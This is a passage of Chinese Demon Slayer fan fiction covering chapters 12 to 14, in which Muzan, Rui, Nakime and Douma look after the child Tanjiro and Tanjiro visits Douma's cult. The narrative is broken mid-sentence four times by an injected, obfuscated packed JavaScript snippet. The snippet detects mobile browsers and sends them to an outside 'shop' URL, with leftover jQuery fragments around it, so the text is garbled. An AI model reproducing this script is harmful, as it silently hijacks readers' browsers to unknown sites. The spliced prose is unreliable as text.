下面的鬼们抖如筛糠,却愣是一个屁都不敢放一个。 见自己的下属这么没出息,无惨脸沉得跟黑墨似的,鬼王的威压毫无预兆地压在几鬼身上。 “没用的东西,你们活着的意义是什么?” “无、无惨大人……”有个鬼撞着胆子抬头,却在下一秒直接人头落地。 “我让你说话了吗?你是个什么东西敢直视我!” 人头轱辘轱辘滚到一旁,眼睛视线撞进一双白色鞋子 他抬眼,白发少年冷漠地盯着他。 “你挡路了。”说着,一脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575963|205012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把头踢开。 被踢的鬼:“……” 无惨看到来人,脸色好了些,但语气仍旧冷厉,“累,为什么现在才来?” 少年摸着自己如蛛丝般的白发,语气淡淡回复:“我已经通过鸣女跟大人沟通过我正在忙,大人知晓的。” 意思很明显,知道了为什么还要问。 其余跪在那里的下弦鬼:“……” 即便跪在那里,但无惨仍旧能看到他们惊异的眼神。 男人冷哼声,看了眼下弦伍,只是警告道:“累,别用这种口气跟我说话。” 而累也是很给面子的略低头微鞠躬,“抱歉大人。” 无惨又看了眼跪在那里的鬼们,听到他们心里没出息的想法,额头青筋突起。 他觉得与其让他们有用不如让他们现在滚蛋来得让自己舒心些。 他摆摆手示意鸣女把这些废物给传送走。 但累被他留了下来。 “最近鬼杀队的那群虫子在蜘蛛山周围徘徊,你多注意。” 累:“好的,大人。”脑子却在想着回去还要教导“妹妹”捕食,到底什么时候能回去,好着急啊,妹妹可离不开他…… 见鬼早就神游天外,对自己的答复要么左耳进右耳出,要么敷衍回答,第一次觉得他是不是对累太好了,让他敢这么对自己? 正当无惨想着要不要给对方一点惩罚时,男孩欢快的声音响起。 “无惨先生,鸣女姐姐说你忙完啦,欸?” 炭治郎正好与转头的累对上视线。 上弦伍面无表情的脸上浮现出惊疑的表情。 他上下打量着男孩,语气不可置信,“你是人类?!” 人类为什么会在无限城? 大人没有吃了他? 貌似……过得还不错? 炭治郎没有流露出人类面对鬼时应有的恐惧,反而温柔地笑着,走过去拉住累的手:“你好呀,我叫炭治郎,你叫什么?” 仍然处在震惊没回过神的累就感到手中那抹异常的温热。 他像是被烫到了般顿时甩开男孩的手。 而目睹这幕的无惨,脸上刚浮起的些许温柔消失,他微微眯起眼,鬼王的威压顿时如千斤重般压在累的身上。 “累,任性也要有个度。” 冰冷的声音响彻在上弦伍耳边。 累半蹲下来喘着气。 “抱、抱歉大人。” 正当他在懊恼自己的逾矩时,男孩再度开口,声音带着安抚,“无惨先生不要生气,是我太直接了,明明刚见面的。” 男孩因为无惨的在意而高兴,却也担忧无惨的脾气。 无惨冷哼一声,“你也知道是刚见面,就这么维护他?” 嘴上这么说,但累感觉到身上的压力消失了。 无惨也不是真的想对累怎么样,只是觉得孩子最近有些叛逆,总该给点教训。 累似乎也明白对方的目的,这次的鞠躬恭敬很多。 “大人抱歉,下次不会了。” 他太过“恃宠而骄”了,却忽略眼前的男人是鬼王,是一个不允许任何人忤逆他的存在。 无惨将目光转向炭治郎,“你不是在黑死牟那里训练?怎么有时间过来了。” 累:“……” 这语气…… 男孩已经习惯男人偶尔说话的阴阳怪气,他像个小大人似的无奈叹口气,轻车熟路地抱住对方说:“因为想念无惨先生,所以第一时间找了过来,最喜欢先生了!” 累:“……” 看着一人一鬼的相处,下弦伍的眼睛已经不能再瞪大了。 这……是干什么?? 12. 第 12 章 炭治郎面对累震惊的目光有些不好意思。脸上浮现些许红温,他想转移下注意力,就笑着对下弦伍邀请,“我们可以一起玩嘛?” 窘机中的累:“……欸?” —————— 这场对于累来说荒谬的相识以无惨要求他带着炭治郎玩耍而结束。 累表示:……我是什么看孩子的保姆吗? 内心归吐槽,但刚被“惩罚”,累也不能拒绝,只能无奈带着炭治郎在无限城玩那些无聊的幼稚儿游戏。 ……在不知道多少局捉迷藏之后,累着急回去的心情已经达到顶点,偏偏鸣女的眼睛时刻注意着他们。 炭治郎却玩的不亦乐乎,他蹦跳着围在累身边,孩童亮晶晶的眼睛期待地看着少年,“继续玩吗?” 累头疼道:“我们玩翻花绳吧。”他实在不想再逛无限城了! 炭治郎疑惑,“什么是翻花绳呀?” 下弦伍的手中吐出蛛丝,它们跟随主人的动作来回翻转交叉,最终织成了一只小狗模样。 炭治郎惊奇地看着少年一番行云流水的动作,时不时发出惊叹的“哇”声,搞得累好几次差点编错位置,不知道为什么耳朵有些热。 “哥哥好厉害!”炭治郎在看到成品后惊叹出声。 而这声“哥哥”也让累恍惚了一瞬。 哥哥…… 他有个妹妹。 可妹妹不听话,到现在都不愿意叫自己哥哥…… 少年神色复杂地看向炭治郎,“你……叫我哥哥?” 男孩的心思都放在花绳上,刚刚脱口而出,当累再提起时,才反应过来,一时有些懊恼自己的自来熟,他小心翼翼地回看累,“对不起,要是你不喜欢的话———” “能再叫一声吗?” …… “……欸?”炭治郎呆愣住。 累摸着白发,有些不好意思,“就……能再叫、叫一声吗?” “……哥哥?”炭治郎犹豫着叫出口。 累面无表情但脸有些红:“嗯。” 炭治郎突然明白了什么,他狡黠一笑,凑到累面前,一声声的哥哥叫出口。这下累直接羞得缩成白团子。但炭治郎每叫一声,他就回应一声,乐此不疲。 一人一鬼的相处让正看着他们的鸣女眼皮微跳。 她是知道累对于家人的执着,或者说她曾亲眼目睹过,那些鬼少年所谓的“家人”在犯错或惹他不快后,他们的下场——分尸都是轻的。 而如今他要炭治郎叫他哥哥…… 鸣女曾觉得身为无限城的控制者,掌管无限城服从无惨命令是她的主要任务,除了琵琶,其他的她一律不会管。 但…… 鸣女抚摸着手中炭治郎送给她的独属于她的琵琶,想到男孩那不成调的弹曲,那在她耳边叽叽喳喳的幼稚絮叨;和每次过来找她时横冲直撞却温暖如太阳的拥抱。 当脑中男孩温柔的笑容与累那些“家人”惨烈的尸体重合时,女鬼死寂的心脏像被银针刺穿,疼痛难忍。 鸣女摸着胸口的位置,她不解,明明曾经遭受丈夫毒打时,比起疼痛,她更多的是麻木。 可如今明明没有挨打,可在想象炭治郎会死时,那股切实存在的疼痛一点点侵蚀她早已不再跳动的心脏。 鸣女想,或许是因为男孩死了,她就没有真心喜爱听曲的观众了。 所以,炭治郎不能死。 鸣女所有的血鬼术瞬间集中在男孩周围,只要累有任何异常举动,自己就立马将他传送走。 累有所察觉,但他只以为是无惨大人让鸣女多盯着炭治郎。 这样想,下弦伍突然有些好奇两人的关系。 犹豫着,他还是问出口,“你和无惨大人……是什么关系?” 炭治郎正摆弄着手中的蛛丝,闻言,抬起头来想了想,说:“我们是家人。” 累眼眸微动,“家人……” 炭治郎点头,“嗯!” “不止是无惨先生,还有黑死牟老师、猗窝座先生、堕姬姐姐、妓夫太郎哥哥还有鸣女姐姐都是我的家人!” 此时,孩童天真的笑语在死寂的无限城里响彻。他温柔欢乐的面庞深深地刻进下弦伍的眸中。 鬼使神差地,累开口:“那你叫我哥哥,我也是你的家人吗?” 炭治郎面色犹豫地问:“那……哥哥希望我成为你的家人吗?” 这次白发少年没有回答,他坐在那里看着手中的蛛丝,脑海中想起两个曾在身边陪伴他的身影。 累不记得他们是谁。只是每每想起那两道黑影,内心想要家人的念想就更加迫切。 他想要的家人是什么样的呢?累曾不停地问自己。而这时就会有另一道声音回答他:“家人就是无论发生什么,父母都要保护孩子,哥哥姐姐都要保护弟弟妹妹,哪怕拼上性命。” 他深信不疑,数十年以此来找寻。 从回忆中离开,累看向炭治郎,将问题再度问出口:“炭治郎觉得……什么是家人呢?” 炭治郎:“欸?家人呀,家人就是会一起分享喜悦,会一起承担痛苦,在一起时会感到幸福,分开时会思念。” 不一样的答案…… 累猛然间有些恍惚,“那保护呢?” 炭治郎歪头疑惑,“嗯?” 谁知白发少年突然激动地上前握住男孩两只瘦小的胳膊,“保护呢!”他语气激动,“家人不应该是要保护吗!父母保护孩子,哥哥姐姐保护弟弟妹妹,哪怕死亡也要守护到最后一刻不是吗!” 炭治郎呆愣住。 而鸣女察觉到危险,弹奏弦音想要把累送出去,可下弦伍此时正处于失控的边缘,他有些尖锐的声音质问:“回答我!” 他的蛛丝疯狂涌出,阻挡了鸣女的血鬼术。厚厚的一层蛛网罩住了他与炭治郎。 这个问题,他也问过他的“家人”,他们同样有不同的回答,但累不满意,每当开口质问时,他们就会浑身发抖眼带恐惧地拼命认同累的观点。 他以为炭治郎也会这样。 可等他看向对方时,迎来的不是双极度恐惧的眼睛,也不是害怕发抖的求饶。而是一双温柔红眸,和一个轻柔的拥抱。 累彻底僵住了,他像是一尊雕像,任由男孩的手轻拍在他的背部。 轻声细语在耳边响起。 “可是哥哥在难过呀……” “……欸?” 炭治郎松开累,伸手轻抚着少年的白发。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575964|205012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家人这个词包含的东西太多,哥哥的想法,我的想法,太复杂了,我不懂,可我只知道哥哥在说出保护时身上是伤心的味道。我不想哥哥难过,我想你快乐幸福。” “想让你笑。” ……想让他笑?想让他幸福? 熟悉而又陌生的女声带着轻笑,在脑中缺失的记忆某处悄然亮起。那声音替换掉无数次响彻耳边的偏执回答。 “我们累是个可爱的孩子,最爱你了。” 紧接着另一道男声也响起,可与女声相反的,他带着压抑和痛苦: ‘神明大人啊,求求你保佑我们家累这一生都能幸福快乐,哪怕付出我的生命。’ 蛛网断开,弦音不停。所带的杀意甚至震破了下弦伍的衣服。 累所在的地板瞬间颠倒,空中浮现一扇门,门开,他被送了出去。 “鸣女姐姐……?”炭治郎还有些没反应过来。 女鬼出现在他面前,惨白的手轻抚上他的头顶。 “乖,不和他玩。” 而被送回去的累差点摔在悬崖的树上,好在他及时拉出蛛丝绑着回了地面。 “无惨大人。”落地后,他在脑中破天荒地呼唤了鬼王。 这也让正在实验的无惨有些意外。毕竟数十年除了他召唤下弦,累可从未主动联系自己。 “什么事?” “请您让鸣女把我送回无限城。”少年言简意赅地提出要求,甚至语气里带着急切。 无惨:“?” 无限城的鸣女很快迎来无惨的质问。 “你把累送回去了?为什么不跟我报备,我说可以送他回去了吗!” 在炭治郎看不见的地方,鬼王的压迫致使鸣女浑身骨骼被切断,她的头被切了下来。可不管模样有多么凄惨,但她的脸上却没有丝毫恐惧。 “抱歉大人,但他想伤害炭治郎,我来不及报备。” 说完,看向不远处正在摆弄手中“花绳”的男孩,紫色眼眸里带上些许温柔。“您说过的,炭治郎的安全是绝对的。” “我只是按照您的命令执行。” 无惨:“……” 而累那边还在不停地“催促”,无惨被烦得额头青筋暴起,鬼王的威压瞬间通过联系将累压得跪倒在地。 可白发少年还想开口说什么,无惨直接怒吼出声:“闭嘴!从现在开始,你们俩都不用再管炭治郎了!” 鸣女:“……” 累:“……” 无惨这边的事情还未忙完,他无奈扶额,只得询问鸣女:“现在无限城里还有谁在?”谁都好,只要是个上弦就行,他实在不想听这俩鬼掰扯了。 鸣女不情愿地用血鬼术扫荡了一圈,却没有发现黑死牟等人的气息。她刚要掩饰语气中的喜悦准备汇报给无惨,谁知一道讨厌的声音适时响起。 “哇哦~鸣女小姐看起来有些狼狈呢~是发生什么了吗?” 童磨摇着金扇子笑意盈盈地走过来。 鸣女:“……” 而通过鸣女眼睛“看”到童磨的无惨:“……” “……还有别的上弦在吗?鸣女。” 鸣女:“.........没有。” “...........” 13. 第 13 章 无惨并不想把炭治郎交给那个“变态”,可累还在他脑子里吵个不停。他也不想把炭治郎交给鸣女或者累,无惨烦躁地揉捏眉心。 他极力忍耐才没让他们的头全都爆开。 而另一边,鸣女正眼神冰冷地瞪向童磨。 “你为什么不在你的极乐教?” 童磨歪了歪头,丝毫不在意鸣女话里驱赶的意思,嘴角的笑容反而更大了些:“哎呀~在下也需要休息的嘛。” 鸣女却不依不饶:“你休息待在自己的极乐教不行吗?” 童磨这下露出了一副新奇的表情,他来回打量着眼前的女鬼:“哇哦~鸣女小姐怎么突然这么关心我和我的极乐教了?还是说你想去我的极乐教?”他拖长了尾音,笑眯眯地凑近一步,“那我可以让鸣女小姐当个圣女呀~我们极乐教啊,可是有很多有趣的事情哦……巴拉巴拉……” 鸣女:“…………” “无惨大人,童磨并不适合照顾炭治郎。”她彻底放弃了与这个厚颜无耻的话痨疯子继续交谈,转而直接向“上司”汇报了自己的判断。 然而,无惨并未对她的话语作出回应。 与此同时,童磨原本还在鸣女身旁叽叽喳喳说个不停,舌头却忽然断裂,话音戛然而止。 “闭嘴。” 无惨冰冷的声音在他们脑海中响起。 待舌头恢复如初后,童磨依旧笑嘻嘻地喊了声“无惨大人”,话音未落,便听无惨冷冷说道:“我想把炭治郎交给你照顾几天。” 童磨一愣,语气中带着几分意外:“啊咧~” “我警告你,不该说的别说,不该教的别教。否则……” 无惨没有把话说完,但童磨已经清楚地感受到脖颈处传来的无形压迫。 “哎呀~无惨大人您放心啦,我一定会好好照顾好小炭治郎君的~”童磨依旧用那副轻快的语调笑着应道。 无惨冷哼一声,随即就让鸣女将炭治郎送到他这里来,他要嘱咐男孩几句。最重要的是,他要告诉男孩,对于童磨所说的任何话,一个字都不要相信! 鸣女极不情愿地弹奏了两声,而不远处的炭治郎就感觉周身场景变换,下一秒他就出现在无惨面前。 “无惨先生!”炭治郎眼睛亮晶晶的,他立马放下手中的花绳,像只雀跃的小兽般跑到无惨面前,紧紧抱住对方。 原本烦躁的无惨,在感受到怀中那份毫无防备的温暖时,心头那股说不清道不明的焦躁竟像被春水润过一般,缓缓平息。 他轻叹一声似是无奈,双手回搂着男孩。 “调皮。” 炭治郎嘻嘻一笑,随后疑惑道:“我怎么在这里啊?无惨先生不是在忙吗?” “抽了点时间想看看你。”无惨摸着炭治郎柔软的发丝,轻声道:“不过,我最近确实有些繁忙,所以需要别的鬼照顾炭治郎。” 炭治郎眼睛更亮了,透着藏不住的期待,“那……我是要去堕姬姐姐那里嘛?” 无惨冷哼一声,伸手轻轻掐了掐男孩柔软的脸颊,语气里带着几分不悦,“就这么喜欢堕姬?真是可惜,堕姬他们也有事要忙,所以这次照顾炭治郎的不是他们。” 炭治郎有些小小的失落,垂下眼帘低声道:“这样啊,那……”话音未落,无惨已将他轻轻放下,语气淡淡地补了一句:“你要去童磨那里住几天。” 炭治郎愣住,“童……磨?”他的脑海中陡然想起那双漂亮的却如一摊死水般毫无感情的七彩眼眸。 “炭治郎。”无惨摸着男孩的头,语气低沉而缓慢,在炭治郎听来,是从未有过的认真,“你听好。等你去到童磨的地盘之后,千万不要相信他说的任何一句话。一个字都别信。记住了吗?” 炭治郎歪了歪脑袋,眼中满是疑惑。男孩不解地问道:“为什么呀?” “因为他是个变态、疯子。”无惨一想到童磨,面色扭曲了一瞬,他语气嫌恶地仿若在讨论什么臭气熏天的东西。“若不是其他鬼有任务抽不开身,那两个又……我也不会让你去接触他。” 无惨冰冷的眼神对上男孩温海般的双眸,神情不自觉地柔和了几分,声音低沉却带着不容置疑的意味,“炭治郎是个乖孩子,一定会记得我的话的,对吗?” 其实无惨不是没想过要普通的鬼来照顾炭治郎。但转念一想,他们没有十二鬼月的实力,说白了就是一群弱小而难堪大用的东西,平时做“挡箭牌”,或是吃几个人类稍稍震慑一下那些个鬼杀队还算有点用处。照顾炭治郎,实在不够格。 至于童磨,纵然再怎么让鬼讨厌,终归是上弦,还是位列第二的存在。这么多年无鬼撼动,连猗窝座那个战斗狂都不是他的对手。 权衡利弊之下,无惨还是选择了童磨。 ‘没事的’无惨想,他已经警告了童磨,只要再认真告诫炭治郎,不会有什么问题的。 而炭治郎也不出所料地点头,答应得很干脆。 ‘看啊,他是个听自己话的孩子。’无惨得意地想。‘所以能发生什么呢?’ 炭治郎不知道无惨的想法,他此刻想的只是无惨先生很紧张,自己不能让他担心。 ………… 炭治郎对童磨的了解只停留在“梦”里。但在见到对方的第一眼时,男孩就对他产生了十足的好奇。 他不懂为什么对方明明什么情绪都没有却仍能乐开怀。 “哎呀,小炭治郎君,见到你真开心呢~”童磨也对这个人类小孩很感兴趣,各个方面的。他笑嘻嘻地凑到男孩眼前。手上的金色莲花铁扇随着主人的动作摇曳着。 炭治郎依旧没有在那双眼里看到开心的情绪,围绕在鬼周围的只有死气沉沉的腐朽气味。 “你好,童磨先生。”男孩礼貌地鞠躬打招呼,却没想下一秒就被童磨给抱了起来,“哎呀呀~真是个有礼貌的孩子,我更喜欢你了~” 一旁的鸣女发出声冷嗤,她紧握着手中的琵琶,无惨的命令压制着她无法对童磨动用血鬼术把他扔出无限城。 炭治郎被抱得有些不舒服,但他只是无奈摸了摸童磨的后背,他们的身份像是调换过来,童磨才是那个任性的孩子。 童磨扬起嘴角,转头看向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576139|205012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸣女,语气轻快又随意地说:“鸣女小姐,麻烦送我们回去哦。” 鸣女:“………”好想骂鬼,然后再把炭治郎抢过来。 但也只是想而已。 “铮——!” 琵琶弦起,视觉转换。炭治郎眼前呈现一扇巨大的黑漆唐门①,门扉上以金箔绘出莲花纹章。门楣上方悬着写有“极乐教”三字的匾额。 “走吧,小炭治郎君~”童磨将炭治郎放下,走上前推开大门,先一步踏入门内。 当门打开的一瞬,炭治郎清晰地感受到丝丝缕缕的寒气正从门里散出,悄无声息地浸入他的皮肤。男孩被冻得止不住哆嗦,他跟着童磨的脚步,当越过大门时,空气更加冷凝,炭治郎手掌顿时摩搓着胳膊,呼出一口口白气。 “哎呀,我这里温度有些低,希望小炭治郎君不要介意哦~”童磨慢悠悠地摇着手中的扇子,轻笑着侧头眼角瞥向炭治郎。 炭治郎却被这所富丽堂皇的“宫殿”内部吸引。 莲花池中央矗立着一尊童磨的巨大金色人身像。池水无声地涌动,冰冷的风穿过矮木丛,吹得山茶花簌簌摇曳。 炭治郎愣住了。那尊金像在雾气中若隐若现,面目慈悲却空洞,仿佛正俯视着他。他一时忘了呼吸,目光被牢牢钉在那冰冷的金色轮廓上。 男孩不自觉地迈步向前,想看得更真切些,脚下却忽然一滑—— “小心些哦,地面有些滑~”童磨一只手撑住炭治郎,另只手展开那把金色折扇,半掩在唇前,看向男孩的目光里闪过什么,转瞬即逝。 “谢、谢谢!”炭治郎下意识往后退了两步,他紧张地搓了搓手,朝童磨露出一抹有些勉强的笑容。 “不用客气~”童磨收起折扇,用扇柄轻轻敲了敲炭治郎的头,“要认真走路哦,走神可是很危险的~” 炭治郎仰起头,童磨很高大,他下意识地看向对方的眼睛。但黑夜仿若遮蔽了眼眸里的色彩,看不真切。 “我……”他想说什么,这时一道道此起彼伏的脚步声正朝这边靠过来。 “教主大人!” “教主大人回来了!” “教主大人,您今天也很帅啊!” “教主大人快送我去极乐世界吧,我好痛苦啊!” 年轻女子们冲到童磨面前,她们神情或悲切或喜悦,但统一看向男鬼的眼神里却诡异地充斥着癫狂的仰慕。 “哎呀美丽的姑娘们真是热情~”童磨笑着一只手搂着女子的细腰,另只手挑起另一个女子的下巴在她的脸颊轻轻亲吻,看起来是个温柔多情的“男人”。 但炭治郎看着眼前的场景却莫名打了个寒颤,只因他看到童磨望向她们的眼神——那双腐朽泛着病态光泽的七彩里,骤然闪烁着豺狼虎豹般的惊诧绿芒。 感受到炭治郎的目光,童磨微笑着转向男孩。 舌尖忍不住舔抵上颚,低沉而愉悦的笑声在空气中缓缓扩散开来。 “小炭治郎君~”童磨微微歪了歪头,眼中映出男孩的倒影,声音轻柔得如同呢喃,“欢迎来到……万世极乐教。” 14. 第 14 章 “小炭治郎喜欢玩什么玩具呀?” “小炭治郎我这里有糖果你要吃吗?” “给你吃这个,我自己做的鲑鱼饭团,可好吃了。” “哇,好可爱~” “小炭治郎和教主大人是什么关系呀?” “……” 男孩的脸快被信徒们捏变形了,但他却没有丝毫抱怨反倒朝她们露出呆萌的笑容。 这时看到这抹笑的信徒们就会倒吸口气,或者集体捂着胸口惊呼一声“可爱”接着就轮流将男孩抱进怀里。 这些天炭治郎对信徒们也有了些简单的了解。 她们有的是和父母吵架,有的是家暴逃出来的,也有的是被卖到窑子里意外被救来到这里的。 不同的经历和伤痛让她们聚集到了这里,却有着共同的目标。 摆脱痛苦,永世极乐。 每当听她们讲述过去和对极乐世界的向往时,男孩总会挠着头,疑惑地问:“可是真的会有永远没有烦恼的世界吗?”信徒闻言顿时挂上抹诡异的陶醉笑容,“我相信教主大人,他会带领我们去往那个世界。” 每个信徒就着如出一辙的回答。 男孩仍旧不理解,可看她们笑得那么开心,男孩也只是对他们回以微笑。 后花园的池水中鲜艳的莲花轻轻摇曳,树丛里的山茶也花大色艳。 炭治郎感受阳光的照射,舒适地伸着懒腰。信徒们也喜爱在这里玩闹,这是为数不多白天会有阳光的地方。 “真奇怪呢,教主大人白天从来不出来,不然和我们一起嬉闹多好呀。”女信徒一边摆弄着丛中的花朵,一边轻声说着,语气里满是向往。 炭治郎知道为什么,但他不能说。 直到夜晚月升高照时,教内的温度骤降,信徒们也见到了无时无刻不在仰慕的教主。 “小炭治郎君在极乐教过的怎么样?开心吧~”童磨从女信徒们的围绕中走出来,笑意盈盈凑近炭治郎,冰冷的气息顿时缠绕在男孩周身。 “嗯,开心的。”炭治郎点头,但想到什么,又犹豫地看向童磨反问,“童磨先生开心吗?” 童磨闻言微微歪了歪头,嘴角的笑意没有丝毫变化,语气轻佻,“当然啦~” 炭治郎这次看清了那双眼睛,在月光下,七彩眼眸仿若流光溢彩的琉璃,美得令人心悸。但瞳孔深处依旧空洞,没有任何生机与情绪。他的鼻尖微微耸动,和在无限城时见到对方时一样 ——死气沉沉的腐朽。 “没有。”男孩轻喃。童磨听到了声音,他收起折扇,头歪的更大了,语气疑惑地问道:“什么?” “您没有在开心,就和无限城时一样,我不明白童磨先生既然不开心,为什么要笑?” 男孩的话让童磨短暂地陷入呆愣,甚至真的在那一瞬,他的笑容收了回去,但很快那标准的自带怜悯的微笑又浮现出来。“哎呀,小炭治郎君这话是什么意思哦~极乐教里充满了欢乐,我自然也是快乐的哦。” 炭治郎紧抿着唇,他知道童磨先生在撒谎,但…… 他走上前一步,在童磨好奇对方想做什么而弯腰时,炭治郎将花环戴在了童磨的头上。 “送给您。” 童磨伸手轻摸头上的花环,眼中短暂地闪过某种情绪,但转瞬即逝,连他自己都未发觉。“哎呀很漂亮嘛,谢谢小炭治郎君哦~”童磨脸上的笑容更大了,他摸了摸炭治郎柔软的脑袋,舌头顶着上颚,话语里带着意味不明的味道,“真香呢~” “童磨先生喜欢就好。”炭治郎两只手背在身后,看起来有些拘谨,童磨难得升起了些许逗弄的情绪,刚想说什么,身后的信徒却发出一声惊呼。 童磨转过头来,“怎么了?”那名女信徒却捂住嘴巴,眼神迅速瞟了眼男孩,又看向童磨,赶忙摇头,声音闷闷的,“没、没事。” 童磨眉头轻挑,这时又一名信徒发出声短促的笑,童磨又看向对方,“怎么了?这么开心?什么好事情该跟你们的教主大人分享一下嘛。” 那名女教徒同样捂着嘴,身体轻颤,眼角泛起泪花,忍不住漏出两声笑,但仍旧不肯说发生了什么。 童磨似乎有所感应,他转过身正好看到男孩正在摆弄什么小动作。 “哇哦,我的信徒们和小炭治郎君有什么秘密了?” 炭治郎顿时又把手背到身后,眼珠乱转声音细若蚊蝇,“没、没有……” 这下童磨的兴趣更大了,张嘴想说什么,却鬼使神差地先伸手摸向头上的花环,这一摸他发现了问题。 花环上似乎绑着什么。 他将花环取下,粉嫩的大蝴蝶结发带顿时映入眼帘。 童磨:“……?” 款式整的别出心裁,颜色也粉的万里挑一。 这下信徒们再也忍不住,纷纷大笑出声,一时间整座府里充斥着真实的欢笑,仿佛这一刻这里真的是极乐之地。 看着一边大一边小难看得都有种侮辱眼睛的蝴蝶结,童磨却露出了观察的神色,上下扫量,“刚刚竟然没注意到欸,炭治郎君的手艺很特别哦。” 炭治郎:“……” 看到炭治郎欲言又止的模样,童磨眼珠一转,顿时笑眯眯地把花环戴到炭治郎的小脑袋上,花环顿时穿了过去,成了条有些大的项链。 童磨满意地点点头,“果然很适合炭治郎君呢。” 炭治郎:“……” 他是想让童磨先生能产生点情绪来着,怎么反倒自己有那么点……被噎住的感觉? …… 之后几天,炭治郎总是时不时地在极乐教里弄出一些“小声音”。 信徒们对他的印象也从“听话可爱的孩子”变成“喜欢做些小恶作剧的可爱孩子”。 可炭治郎看着童磨仍旧没有丝毫的情绪起伏,甚至有几次反倒让自己被鼓出脾气来,就不由地有些泄气。 但失落来得快去得也快。 在又一次捣乱有意无意被童磨逮到时,他把男孩提溜起来,凑到跟前,“这是做什么呢?炭治郎。”童磨看了眼被乱涂乱画的墙壁上的莲花金纹,状似无奈地叹口气,“这样可不是乖孩子。” 谁知炭治郎闻言眼神发亮地看向童磨,但鼻尖微动后眼神又暗淡了下来。 没有生气…… 冰凉的铁扇托举着男孩的下巴,致使他对上那双七彩眼眸。 “要乖哦~”童磨笑眯眯地说着,这下炭治郎就像个扁了的皮球,咸鱼似的在童磨手中瘫得笔直,语气失落地“哦”了声。 想让童磨先生有情绪太难了……炭治郎丧丧地想。 ………… 午夜临近,炭治郎陷入深眠,他又“来到”熟悉的地方,眼前那本泛着白光的书本吸引着他走上前。 “这次……会看到什么呢?”男孩轻声呢喃,他已经不怕这个未知的,存在于他梦境中的“书”,反倒很期待它的到来能告诉自己更多故事。 但不知为何,看着那本“书”,深处也会涌出一股陌生的反感。甚至会闪过某些片段,待男孩想要抓住它们时,又转瞬即逝。 想不出来是什么,炭治郎索性不想了,他看着眼前的白光,很快,“书”翻页了,停留在那双七彩眼眸。 “是童磨先生!”炭治郎惊喜道,他曾在“书”中见过对方人类时期的过去,但对鬼时的事却丝毫不知。 像是知道炭治郎所想,书本翻页,是极乐教,而画面里同样是夜晚,身着绿色和服的女子跪坐在大树下,她的一只眼睛瞳色偏淡,但丝毫不影响女子温婉美丽的容貌。怀里抱着正安静酣睡的婴儿。 而女子时不时用那纤细的手指轻点婴儿的鼻尖似在逗弄,嘴角会因为婴儿的反应勾出抹幸福的微笑。 而这时似乎感知了什么,女子转过头来看向身后,随即笑容更大了。 而身后的正是摇着金色扇子笑眯眯的童磨。 女子抱着婴儿缓步走上前,而童磨像是变戏法般手里拿着一支盛开的莲花,将它轻轻别在女子耳后,两人相视一笑,气氛哪怕只是书页,炭治郎也能感受到传递过来的安逸。 童磨先生的笑容…… 炭治郎眼眸微动,那是真实,发自内心的。 原来童磨先生是有情绪的呀。炭治郎盘腿坐下,看着他们的相处,自己也忍不住笑了。 是个美好的故事,男孩想。 可画风突然一转—— 女子狂奔在漆黑的树林里,她紧抱着怀中的婴儿,时不时恐惧地转头看向身后。 而后面一团黑影正不急不慢地追赶着她。那模样像是逗弄临到嘴边的猎物。 炭治郎不明白发生了什么,他的表情变得空白,眼神呆愣地直视着眼前的“书”。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579311|205012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到女子跑到崖边哭着将婴儿扔下悬崖,而身后的黑影越靠越近…… “小炭治郎起床啦!太阳都晒到你屁股了,教主大人说了今天可以带你去山下逛逛哦!” 女信徒欢快的呼喊声让梦境破碎,炭治郎没来得及看清那团黑影就迷糊地睁开眼。 “……幸子姐姐?” 被叫幸子的女信徒娇软一笑,轻摸着他的脸颊,“快起来啦,之前你不是说想去山下玩嘛。” 炭治郎的大脑似乎还没转过来,过了半分钟,才缓缓点头。 幸子把要换的衣服递给他,说在外面等,便转身出去了。可炭治郎还沉浸在那个梦里,甚至想再睡一会儿,把梦做完。 那个黑影是什么?为什么那个姐姐那么恐惧他? 那个姐姐死了吗? 